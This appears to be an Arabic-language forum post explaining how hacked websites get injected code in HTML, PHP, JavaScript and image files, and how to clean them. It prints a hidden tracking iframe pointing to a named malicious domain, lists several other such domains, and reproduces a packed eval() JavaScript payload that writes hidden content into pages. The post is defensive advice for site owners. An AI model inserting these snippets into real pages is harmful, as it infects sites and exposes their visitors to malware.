السلام عليكم ورحمة الله
عن تجربه شخصية أحب أجمع كل اللى قابلنى فى الحوار ده
ومنتظر إضافاتكم
أولا إيه الملفات اللى ممكن يصيبها
بيظهر فى الملفات ال html , php, js, الصور
الصوووووووووور ؟؟
أهاااااااا الصور وفى آخر الموضوع فى مثال كمان
ثانيا بيظهر إزاى فى الملفات دى ؟
فى الملفات ال php , html
إما بينضاف بعد آخر سطر فى الملف
أو ينضاف بعد آخر حرف فى الملف
طيب و دى تفرق ؟؟؟؟
آهاااااا تفرق
لو إنضاف بعد آخر سطر ممكن تشيله بالسكربت ده
أما لو إنضاف بعد آخر حرف فى الملف فده لازم تشيله بإيدك تخيل ؟؟
و ده شكله فى ملفات ال PHP , و ال html
كود HTML:[php] <iframe src="http://thedeadpit.com/?click=2950218" width=1 height=1 style="visibility:hidden;position:absolute"></iframe> [/php]
الفيروس ده إسمه فيروس الكليك
و من مواقع الكليك اللى بتندمج فيه واللى أصابتنى قبل كده
كود HTML:thedeadpit.com hosttracker.net internetcountercheck.com
أما ملفات الجافا سكربت js
برضه نفس الحوار كده بينضاف لآخر حرف فى الملف
وبيكون بالشكل ده
كود HTML:[php] eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('A k=o i(),h=o i(k.z()+x);y(g.v.B("p=1")==-1){g.J(H("%l%3%s%7%6%t%2%9%I%3%d%0%8%b%m%9%8%2%3%n%8%0%b%m%9%f%7%G%b%a%8%0%0%c%q%5%5%e%r%6%d%3%4%n%C%4%7%c%F%4%2%0%5%j%D%j%5%a%9%f%0%u%e%2%b%a%d%3%f%c%e%6%u%q%4%r%4%2%a%w%l%5%3%s%7%6%t%2%w"));g.v="p=1;"+" h="+h.E()+"; "}',46,46,'74||65|69|6E|2F|61|72|68|20|27|3D|70|64|6C|73|document|expires|Date|62|today|3C|31|67|new|_ubit|3A|6F|66|6D|79|cookie|3E|2678400000|if|getTime|var|indexOf|2D|32|toGMTString|2E|63|unescape|77|write'.split('|'))); [/php]
بالنسبة للصور
دى صورة برنامج الأنتيفيرس إكتشفها بعد ما نزلتها من الموقع
طريقة الحذف إنك تنضف الموقع تمام من كل الملفاااااااااات
مش تخلى غير مجلد public_html
و تخليه فاضى كمان يعنى إحذف كل اللى حواليه و اللى جواه
بعد كدا لما تخش السى بانل تانى هو هيكريتها من جديد
بعد كده إعمل بحث فى المجلد عن الملفات اللى تحتوى على المواقع اللى فوق
أو نزل برنامج
norton internet security
أو ال kaspersky
و إعمل سكان على بيك أب موقعك
دومتم بخير يارب
رد مع اقتباس
